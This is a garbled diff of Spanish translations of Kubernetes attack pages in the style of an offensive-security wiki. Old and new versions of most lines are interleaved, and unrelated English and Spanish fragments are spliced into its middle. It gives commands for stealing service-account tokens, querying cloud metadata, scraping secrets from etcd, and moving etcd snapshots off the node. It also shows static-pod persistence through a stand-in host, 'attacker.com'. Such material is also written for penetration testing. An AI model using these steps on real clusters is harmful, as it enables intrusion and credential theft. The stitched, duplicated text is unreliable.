Un DaemonSet es un **pod** que se **ejecutará** en **todos los nodos del clúster**. Por lo tanto, si un DaemonSet está configurado con una **service account privilegiada,** en **TODOS los nodos** podrás encontrar el **token** de esa **service account privilegiada** que podrías abusar.
Un DaemonSet es un **pod** que se **ejecutará** en **todos los nodos del clúster**. Por lo tanto, si un DaemonSet está configurado con una **cuenta de servicio privilegiada,** en **TODOS los nodos** vas a poder encontrar el **token** de esa **cuenta de servicio privilegiada** que podrías abusar.
El exploit es el mismo que en la sección anterior, pero ahora ya no dependes de la suerte.
### Pivot to Cloud
Si el clúster está gestionado por un cloud service, normalmente el **nodo tendrá un acceso diferente al endpoint de metadata** que el Pod. Por lo tanto, intenta **acceder al endpoint de metadata desde el nodo** (o desde un pod con hostNetwork a True):
Si el clúster es administrado por un servicio cloud, normalmente el **Node tendrá un acceso diferente al endpoint de metadata** que el Pod. Por lo tanto, intenta **acceder al endpoint de metadata desde el node** (o desde un pod con hostNetwork en True):
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -220,95 +226,26 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
Si puedes especificar el [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del nodo que ejecutará el container, obtén una shell dentro de un nodo del control-plane y consigue la **base de datos etcd**:
Si puedes especificar el [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Node que ejecutará el container, obtén una shell dentro de un nodo del control-plane y consigue la **base de datos etcd**:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodes tienen el **rol master** y en **cloud managed clusters no podrás ejecutar nada en ellos**.
control-plane nodes tienen la **role master** y en **cloud managed clusters no podrás ejecutar nada en ellos**.
#### Leer secrets desde etcd 1
Si puedes ejecutar tu pod en un control-plane node usando el selector `nodeName` en el pod spec, podrías tener fácil acceso a la base de datos `etcd`, que contiene toda la configuración del cluster, incluidos todos los secrets.
Si puedes ejecutar tu pod en un control-plane node usando el selector `nodeName` en el pod spec, podrías tener acceso fácil a la base de datos `etcd`, que contiene toda la configuración del cluster, incluyendo todos los secrets.
A continuación hay una forma rápida y sencilla de extraer secrets de `etcd` si se está ejecutando en el control-plane node en el que estás. Si quieres una solución más elegante que levante un pod con la utilidad cliente de `etcd` `etcdctl` y use las credenciales del control-plane node para conectarse a etcd dondequiera que esté ejecutándose, mira [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion.
A continuación se muestra una forma rápida y sencilla de obtener secrets desde `etcd` si está ejecutándose en el control-plane node en el que estás. Si quieres una solución más elegante que levante un pod con la utilidad de cliente de `etcd` `etcdctl` y use las credenciales del control-plane node para conectarse a etcd dondequiera que se esté ejecutando, mira [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion.
**Comprueba si `etcd` se está ejecutando en el control-plane node y mira dónde está la base de datos (Esto es en un cluster creado con `kubeadm`)**
**Comprueba si `etcd` está ejecutándose en el control-plane node y mira dónde está la base de datos (esto es en un cluster creado con `kubeadm`)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
# Attacking Kubernetes from inside a Pod
A menudo, una vez que se compromete un Pod, es posible comprometer otros Pods que se ejecutan en el clúster. Por ejemplo, podrías encontrar credenciales en un Pod que te permitan acceder a otros recursos dentro del clúster.
Si tienes acceso a un Pod, revisa los siguientes elementos:
- Variables de entorno
- Archivos de configuración
- Tokens de cuenta de servicio
- Credenciales montadas
- Secret
También puedes intentar moverte lateralmente mediante:
- Acceso a la API de Kubernetes
- Acceso a cloud metadata
- Escalado de privilegios dentro del contenedor
- Escape del contenedor
## Accessing the Kubernetes API
En un Pod de Kubernetes, normalmente puedes encontrar un token de cuenta de servicio montado en:
```bash
/var/run/secrets/kubernetes.io/serviceaccount/token
```
Con este token, puedes interactuar con la API de Kubernetes. Por ejemplo:
```bash
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc
```
Si el token tiene permisos suficientes, podrías enumerar recursos del clúster, leer Secret o incluso crear nuevos Pods.
## Accessing cloud metadata
Si el Pod se ejecuta en cloud, intenta acceder al servicio de metadata de cloud. En algunos entornos, esto puede exponer credenciales temporales o información sensible.
Por ejemplo, en aws:
```bash
curl http://169.254.169.254/latest/meta-data/
```
En algunos casos, esto puede permitirte obtener roles IAM y credenciales asociadas.
## Escalado de privilegios dentro del contenedor
Revisa si el contenedor se ejecuta como root, si tiene capacidades Linux adicionales o si monta volúmenes sensibles desde el host. Esto puede permitirte leer datos del nodo o escapar del contenedor.
Algunos puntos a revisar:
- `securityContext`
- `privileged: true`
- `hostPath` mounts
- `CAP_SYS_ADMIN`
- `CAP_DAC_READ_SEARCH`
## Escape del contenedor
Si el contenedor está mal configurado, podrías escapar al host. Algunas técnicas comunes incluyen:
- Montajes sensibles del host
- Capacidades peligrosas
- Docker socket expuesto
- Misconfigurations en runtimes
Una vez en el host, podrías intentar comprometer el resto del clúster.
Algunas técnicas de otros capítulos de este libro también se pueden usar desde dentro de un pod.
```bash
data-dir=/var/lib/etcd
```
@@ -320,17 +257,94 @@ strings /var/lib/etcd/member/snap/db | less
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Mismo comando, pero con algunos greps para devolver solo el token por defecto en el namespace kube-system**
**Mismo comando, pero con algunos greps para devolver solo el token predeterminado en el namespace kube-system**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Traducir el contenido relevante aquí.
{{< table_of_contents >}}
# Atacar Kubernetes desde dentro de un Pod
You can create a shell inside a Pod in several ways:
```bash
kubectl exec -it pod_name -- sh
kubectl exec -it pod_name -- bash
kubectl run --rm -it --image=ubuntu --restart=Never shell
```
Once inside, you can enumerate the cluster and look for interesting targets.
## ServiceAccount tokens
A Pod often has a `ServiceAccount` token mounted at:
```bash
/var/run/secrets/kubernetes.io/serviceaccount/token
```
If you can read it, you may be able to authenticate to the `kubernetes` API.
## In-cluster configuration
Many apps use in-cluster config automatically, which means you can inspect env vars such as:
```bash
KUBERNETES_SERVICE_HOST
KUBERNETES_SERVICE_PORT
```
These can help you locate the API server.
## Enumeración básica
Try listing resources with `kubectl`, `curl`, or any available client if credentials are present.
```bash
kubectl get pods -A
kubectl get nodes
kubectl get secrets -A
```
If RBAC is weak, you may be able to access sensitive resources or move laterally.
## Host escape opportunities
Depending on the Pod spec, look for:
- `hostPath` mounts
- privileged containers
- `hostNetwork: true`
- `hostPID: true`
- `CAP_SYS_ADMIN`
- Docker socket mounts
These can sometimes lead to node compromise.
## Example: reading mounted credentials
```bash
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
```
Then try using the token against the API server.
## Useful checks
```bash
env | grep KUBERNETES
mount | grep -i kube
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
```
If you find a token, check its permissions and whether it can be used to list namespaces, pods, or secrets.
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Leer secretos desde etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
#### Leer secretos de etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Crea una snapshot de la base de datos **`etcd`**. Consulta [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) para más información.
1. Crea una snapshot de la base de datos **`etcd`**. Revisa [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) para más información.
2. Transfiere la snapshot de **`etcd`** fuera del nodo de la forma que prefieras.
3. Descomprime la base de datos:
```bash
@@ -345,33 +359,33 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Obtener los secfrets:
6. Obtén los secfrets:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Los Static Pods_ son gestionados directamente por el daemon kubelet en un nodo específico, sin que el API server los observe. A diferencia de los Pods que son gestionados por el control plane (por ejemplo, un Deployment); en su lugar, el **kubelet vigila cada static Pod** (y lo reinicia si falla).
_Los Static Pods_ son gestionados directamente por el daemon kubelet en un nodo específico, sin que el API server los observe. A diferencia de los Pods gestionados por el control plane (por ejemplo, un Deployment); en su lugar, el **kubelet supervisa cada static Pod** (y lo reinicia si falla).
Por lo tanto, los static Pods siempre están **vinculados a un solo Kubelet** en un nodo específico.
El **kubelet intenta automáticamente crear un mirror Pod en el Kubernetes API server** para cada static Pod. Esto significa que los Pods que se ejecutan en un nodo son visibles en el API server, pero no pueden ser controlados desde allí. Los nombres de los Pods llevarán como sufijo el hostname del nodo con un guion al principio.
El **kubelet intenta automáticamente crear un mirror Pod en el Kubernetes API server** para cada static Pod. Esto significa que los Pods que se ejecutan en un nodo son visibles en el API server, pero no pueden ser controlados desde allí. Los nombres de los Pods terminarán con el hostname del nodo precedido por un guion.
> [!CAUTION]
> El **`spec` de un static Pod no puede referirse a otros objetos del API** (por ejemplo, ServiceAccount, ConfigMap, Secret, etc. Así que **no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario** en el nodo actual para comprometer el cluster. Pero podrías usar esto para ejecutar pods en distintos namespaces (si por alguna razón eso resulta útil).
> El **`spec` de un static Pod no puede referenciar otros objetos del API** (por ejemplo, ServiceAccount, ConfigMap, Secret, etc. Así que **no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario** en el nodo actual para comprometer el cluster. Pero podrías usarlo para ejecutar pods en diferentes namespaces (si por algún motivo eso resulta útil).
Si estás dentro del host del nodo puedes hacer que cree un **static pod dentro de sí mismo**. Esto es bastante útil porque podría permitirte **crear un pod en un namespace diferente** como **kube-system**.
Para crear un static pod, [**la documentación es de gran ayuda**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Básicamente necesitas 2 cosas:
Para crear un static pod, los [**docs son de gran ayuda**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Básicamente necesitas 2 cosas:
- Configurar el parámetro **`--pod-manifest-path=/etc/kubernetes/manifests`** en el **servicio kubelet**, o en la **configuración de kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) y reiniciar el servicio
- Crear la definición en la **definición del pod** en **`/etc/kubernetes/manifests`**
- Configurar el parámetro **`--pod-manifest-path=/etc/kubernetes/manifests`** en el servicio **kubelet**, o en la **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) y reiniciar el servicio
- Crear la definición del **pod definition** en **`/etc/kubernetes/manifests`**
**Otra forma más stealth sería:**
- Modificar el parámetro **`staticPodURL`** del archivo de configuración de **kubelet** y establecer algo como `staticPodURL: http://attacker.com:8765/pod.yaml`. Esto hará que el proceso kubelet cree un **static pod** obteniendo la **configuración desde la URL indicada**.
**Ejemplo** de configuración de **pod** para crear un pod privilegiado en **kube-system** tomado de [**aquí**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
**Ejemplo** de configuración de **pod** para crear un privilege pod en **kube-system** tomado de [**aquí**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
@@ -399,10 +413,10 @@ type: Directory
```
### Eliminar pods + nodos no programables
Si un atacante ha **comprometido un nodo** y puede **eliminar pods** de otros nodos y **hacer que otros nodos no puedan ejecutar pods**, los pods se volverán a ejecutar en el nodo comprometido y podrá **robar los tokens** que se ejecuten en ellos.\
Para [**más información sigue estos enlaces**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
Si un atacante ha **comprometido un nodo** y puede **eliminar pods** de otros nodos y **hacer que otros nodos no puedan ejecutar pods**, los pods se volverán a ejecutar en el nodo comprometido y él podrá **robar los tokens** que se ejecutan en ellos.\
Para [**más información sigue este enlace**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## Herramientas automáticas
## Automatic Tools
- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
```
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Hay **diferentes formas de exponer servicios** en Kubernetes para que tanto los endpoints **internos** como los endpoints **externos** puedan acceder a ellos. Esta configuración de Kubernetes es bastante crítica, ya que el administrador podría dar acceso a **atacantes a servicios a los que no deberían poder acceder**.
Hay **diferentes formas de exponer services** en Kubernetes para que tanto endpoints **internos** como **externos** puedan acceder a ellos. Esta configuración de Kubernetes es bastante crítica, ya que el administrador podría dar acceso a **attackers a services a los que no deberían poder acceder**.
### Automatic Enumeration
Antes de empezar a enumerar las formas que K8s ofrece para exponer servicios al público, ten en cuenta que si puedes listar namespaces, services e ingresses, puedes encontrar todo lo expuesto al público con:
Antes de empezar a enumerar las formas en que K8s ofrece exponer services al público, ten en cuenta que si puedes listar namespaces, services e ingresses, puedes encontrar todo lo expuesto al público con:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,13 +20,13 @@ done | grep -v "ClusterIP"
```
### ClusterIP
Un **ClusterIP** service es el **default** Kubernetes **service**. Te da un **service dentro de** tu cluster que otras apps dentro de tu cluster pueden acceder. **No hay acceso externo**.
Un **ClusterIP** service es el **default** Kubernetes **service**. Te da un **service inside** tu cluster que otras apps dentro de tu cluster pueden acceder. **No external access**.
Sin embargo, esto puede ser accedido usando el Kubernetes Proxy:
Sin embargo, esto puede accederse usando el Kubernetes Proxy:
```bash
kubectl proxy --port=8080
```
Ahora, puedes navegar a través de la API de Kubernetes para acceder a servicios usando este esquema:
Ahora, puedes navegar a través de la Kubernetes API para acceder a services usando este esquema:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
@@ -34,7 +34,7 @@ Por ejemplo, podrías usar la siguiente URL:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
para acceder a este servicio:
para acceder a este service:
```yaml
apiVersion: v1
kind: Service
@@ -50,7 +50,7 @@ port: 80
targetPort: 80
protocol: TCP
```
_Este método requiere que ejecutes `kubectl` como un **usuario autenticado**._
_Este método requiere que ejecutes `kubectl` como un **authenticated user**._
Lista todos los ClusterIPs:
```bash
@@ -58,7 +58,7 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
```
### NodePort
Cuando se utiliza **NodePort**, se pone a disposición un puerto designado en todos los Nodes (que representan las Virtual Machines). El **tráfico** dirigido a este puerto específico se **enruta al service** de forma sistemática. Por lo general, este método no se recomienda debido a sus inconvenientes.
Cuando se utiliza **NodePort**, se pone a disposición un puerto designado en todos los Nodes (que representan las Virtual Machines). El **traffic** dirigido a este puerto específico se **routed to the service** de forma sistemática. Normalmente, este método no se recomienda debido a sus inconvenientes.
List all NodePorts:
```bash
@@ -83,22 +83,23 @@ protocol: TCP
```
Si **no especificas** el **nodePort** en el yaml (es el puerto que se abrirá), se usará un puerto en el **rango 3000032767**.
Al revisar Services NodePort o LoadBalancer, inspecciona también los campos traffic-policy porque cambian qué nodos y backends son útiles desde una fuente dada:
Al revisar servicios NodePort o LoadBalancer, inspecciona también los campos traffic-policy porque cambian qué nodos y backends son útiles desde una fuente dada:
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` preserva la IP de origen original del cliente para el tráfico de NodePort/LoadBalancer y evita reenviar a endpoints en otros nodos. Un nodo sin un endpoint local listo puede descartar el tráfico incluso si el Service tiene endpoints en otro lugar.
- `externalTrafficPolicy: Cluster` es el valor predeterminado y puede reenviar a través de cualquier nodo, pero los logs del backend pueden ver IPs de nodo en lugar de la IP externa real del cliente.
- `internalTrafficPolicy: Local` limita el tráfico del Service dentro del cluster a endpoints locales al nodo de origen. Esto es routing por localidad, no un boundary de autorización.
- NodePorts normalmente se exponen en direcciones del nodo, pero kube-proxy puede restringir los rangos de direcciones con `--nodeport-addresses` o `nodePortAddresses` en su configuración. Revisa la configuración activa de kube-proxy o del reemplazo de proxy de servicio de CNI antes de asumir que el NodePort es alcanzable en cada IP del nodo.
- `externalTrafficPolicy: Local` conserva la IP de origen original del cliente para tráfico NodePort/LoadBalancer y evita reenviar a endpoints en otros nodos. Un nodo sin un endpoint local listo puede descartar el tráfico aunque el Service tenga endpoints en otros nodos.
- `externalTrafficPolicy: Cluster` es el valor por defecto y puede reenviar a través de cualquier nodo, pero los logs del backend pueden ver IPs de nodos en lugar de la IP real del cliente externo.
- `internalTrafficPolicy: Local` limita el tráfico del Service dentro del clúster a endpoints locales al nodo de origen. Esto es routing por localidad, no un límite de autorización.
- `sessionAffinity: ClientIP` puede hacer que pruebas repetidas desde un cliente lleguen al mismo backend, ocultando otros endpoints listos durante comprobaciones manuales.
- `trafficDistribution` y los EndpointSlice topology hints pueden preferir endpoints de la misma zona o del mismo nodo en clusters más nuevos; trátalos como preferencias de routing y no como una política de seguridad estricta.
- `trafficDistribution` y los hints de topología de EndpointSlice pueden preferir endpoints del mismo zone o del mismo nodo en clústeres más nuevos; trátalos como preferencias de routing y no como una política de seguridad estricta.
### LoadBalancer
Expone el Service externamente **usando un load balancer del cloud provider**. En GKE, esto levantará un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que te dará una sola dirección IP que reenviará todo el tráfico a tu service. En AWS lanzará un Load Balancer.
Expone el Service externamente **usando el load balancer de un cloud provider**. En GKE, esto levantará un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que te dará una única dirección IP que reenviará todo el tráfico a tu service. En AWS lanzará un Load Balancer.
Tienes que pagar por un LoadBalancer por cada service expuesto, lo que puede ser costoso.
Tienes que pagar por un LoadBalancer por cada servicio expuesto, lo que puede ser costoso.
List all LoadBalancers:
```bash
@@ -107,15 +108,15 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
### External IPs
> [!TIP]
> External IPs son expuestos por services de tipo Load Balancers y generalmente se usan cuando se está utilizando un external Cloud Provider Load Balancer.
> External IPs son expuestas por services de tipo Load Balancers y generalmente se usan cuando se está utilizando un external Cloud Provider Load Balancer.
>
> Para encontrarlos, revisa los load balancers con valores en el campo `EXTERNAL-IP`.
> Para encontrarlas, revisa los load balancers con valores en el campo `EXTERNAL-IP`.
El tráfico que ingresa al cluster con la **external IP** (como **destination IP**), en el puerto del Service, será **enrutado a uno de los Service endpoints**. `externalIPs` no son administrados por Kubernetes y son responsabilidad del administrador del cluster.
El tráfico que ingresa al cluster con la **external IP** (como **destination IP**), en el puerto del Service, será **redirigido a uno de los endpoints del Service**. `externalIPs` no son gestionadas por Kubernetes y son responsabilidad del administrador del cluster.
`externalIPs` es un campo sensible de control de rutas porque un usuario que pueda configurarlo podría reclamar tráfico para una dirección IP que el propietario del Service no debería controlar si la red circundante enruta esa IP al cluster. Kubernetes anunció la deprecación y eliminación planificada de `externalIPs` de Service en v1.36, así que es preferible usar mecanismos de exposición controlados por controller, como integraciones de LoadBalancer o Gateway API cuando sea posible, y restringir/permitir este campo con cuidado mientras aún exista.
`externalIPs` es un campo sensible de control de rutas porque un usuario que pueda configurarlo podría reclamar tráfico para una dirección IP que el propietario del Service no debería controlar si la red circundante enruta esa IP al cluster. Kubernetes anunció la depreciación y eliminación planificada de `externalIPs` de Service en v1.36, así que prefiere mecanismos de exposición controlados por el controller como integraciones de LoadBalancer o Gateway API cuando sea posible, y restringe/autoriza este campo cuidadosamente mientras todavía exista.
En la Service spec, `externalIPs` puede especificarse junto con cualquiera de los `ServiceTypes`. En el ejemplo de abajo, "`my-service`" puede ser accedido por clientes en "`80.11.12.10:80`" (`externalIP:port`)
En la spec del Service, `externalIPs` puede especificarse junto con cualquiera de los `ServiceTypes`. En el ejemplo de abajo, "`my-service`" puede ser accedido por clientes en "`80.11.12.10:80`" (`externalIP:port`)
```yaml
apiVersion: v1
kind: Service
@@ -134,7 +135,7 @@ externalIPs:
```
### ExternalName
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Los Services de tipo ExternalName **mapean un Service a un nombre DNS**, no a un selector típico como `my-service` o `cassandra`. Especificas estos Services con el parámetro `spec.externalName`.
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **mapean un Service a un nombre DNS**, no a un selector típico como `my-service` o `cassandra`. Especificas estos Services con el parámetro `spec.externalName`.
Esta definición de Service, por ejemplo, mapea el Service `my-service` en el namespace `prod` a `my.database.example.com`:
```yaml
@@ -147,34 +148,36 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
Al buscar el host `my-service.prod.svc.cluster.local`, el cluster DNS Service devuelve un registro `CNAME` con el valor `my.database.example.com`. Acceder a `my-service` funciona de la misma manera que otros Services, pero con la diferencia crucial de que **la redirección ocurre a nivel de DNS** en lugar de mediante proxying o forwarding.
Al consultar el host `my-service.prod.svc.cluster.local`, el servicio DNS del cluster devuelve un registro `CNAME` con el valor `my.database.example.com`. Acceder a `my-service` funciona de la misma manera que otros Services, pero con la diferencia crucial de que la **redirección ocurre a nivel de DNS** en lugar de mediante proxying o forwarding.
List all ExternalNames:
Security review note: si un controlador de Ingress, una implementación de Gateway, un service mesh o una aplicación acepta un ExternalName Service como backend, el controlador puede resolver y alcanzar el nombre externo desde su propia posición en la red. Eso puede exponer servicios solo internos a través de la infraestructura de enrutamiento pública cuando los usuarios pueden crear tanto el objeto de ruta como el ExternalName Service. Revisa la implementación y versión específicas del controlador, los flags o allowlists de soporte de ExternalName, el estado de la ruta y el dominio de destino exacto antes de considerar esto seguro. Por ejemplo, Skipper corrigió un problema de Kubernetes ExternalName SSRF en v0.24.0 deshabilitando los backends ExternalName por defecto y documentando una opción de allowlist.
Lista todos los ExternalNames:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices muestran las direcciones y puertos concretos de backend a los que un Service enruta actualmente. Son especialmente útiles cuando un Service no tiene selector, cuando las labels no explican el camino del tráfico, o cuando solo algunos backends están ready.
Los EndpointSlices muestran las direcciones backend y los puertos concretos a los que un Service enruta actualmente. Son especialmente útiles cuando un Service no tiene selector, cuando las labels no explican la ruta del tráfico, o cuando solo algunos backends están listos.
List EndpointSlices associated with Services:
Listar los EndpointSlices asociados con Services:
```bash
kubectl get endpointslices --all-namespaces
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
Al revisar la exposición, compara el selector del Service con el `targetRef` de EndpointSlice, las direcciones de endpoint, las condiciones de readiness y los ports. Un Service sin selector puede emparejarse con EndpointSlices gestionados manualmente y dirigir tráfico a destinos que no sean Pods o inesperados.
Al revisar la exposición, compara el selector del Service con el `targetRef` de EndpointSlice, las direcciones de endpoint, las condiciones de readiness y los ports. Un Service sin selector puede emparejarse con EndpointSlices gestionados manualmente y enrutar tráfico a destinos que no son Pod o inesperados.
### Ingress
A diferencia de todos los ejemplos anteriores, **Ingress NO es un tipo de service**. En su lugar, se sitúa **delante de múltiples services y actúa como un “smart router”** o punto de entrada a tu cluster.
Puedes hacer muchas cosas diferentes con un Ingress, y hay **muchos tipos de Ingress controllers que tienen diferentes capacidades**.
Puedes hacer muchas cosas diferentes con un Ingress, y hay **muchos tipos de Ingress controllers que tienen capacidades distintas**.
El controlador de ingress predeterminado de GKE levantará un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para ti. Esto te permitirá hacer routing basado tanto en path como en subdomain hacia backend services. Por ejemplo, puedes enviar todo lo que vaya a foo.yourdomain.com al service foo, y todo lo que esté bajo la ruta yourdomain.com/bar/ al service bar.
El controlador de Ingress predeterminado de GKE levantará un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para ti. Esto te permitirá hacer routing tanto basado en path como en subdomain hacia backend services. Por ejemplo, puedes enviar todo lo que vaya a foo.yourdomain.com al service foo, y todo lo que esté bajo la ruta yourdomain.com/bar/ al service bar.
El YAML para un objeto Ingress en GKE con un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) podría verse así:
El YAML de un objeto Ingress en GKE con un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) podría verse así:
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
@@ -212,7 +215,7 @@ Lista todos los ingresses:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Aunque en este caso es mejor obtener la información de cada uno por separado para leerla mejor:
Aunque en este caso es mejor obtener la info de cada uno por separado para leerla mejor:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
@@ -225,20 +228,29 @@ Lista los objetos de exposición de Gateway API:
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
Revisa los listeners de Gateway, los namespaces de rutas permitidos, `parentRefs` de Route, hostnames, filters, backend references y condiciones de estado como si la route fue aceptada. Una Route aceptada por un shared Gateway puede exponer un backend incluso cuando no existe ningún objeto legacy Ingress.
Revisa los listeners de Gateway, los namespaces de rutas permitidos, `parentRefs` de Route, hostnames o coincidencias de SNI, filters, backend references y estados como `Accepted`, `ResolvedRefs` y `Programmed`. Una Route que es aceptada por un shared Gateway puede exponer un backend incluso cuando no existe ningún objeto legacy Ingress.
No compruebes solo HTTPRoute. GRPCRoute, TLSRoute, TCPRoute y UDPRoute pueden exponer servicios no HTTP como puertos de administración, brokers, databases, gateways de service-mesh o backends TLS pass-through. También revisa los objetos `ReferenceGrant` para referencias cross-namespace de backend o certificados y `BackendTLSPolicy` para la identidad TLS que usa el Gateway al conectarse a backend Services. Backend TLS policy no es prueba por sí sola de reachability pública, pero es una evidencia útil cuando una route de Gateway programada alcanza un Service listo con una validación de identidad de backend débil, compartida o incorrecta.
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,24 +4,24 @@
## Kubernetes Tokens
Si has comprometido acceso a una máquina, el usuario puede tener acceso a alguna plataforma Kubernetes. El token suele estar ubicado en un archivo indicado por la **env var `KUBECONFIG`** o **dentro de `~/.kube`**.
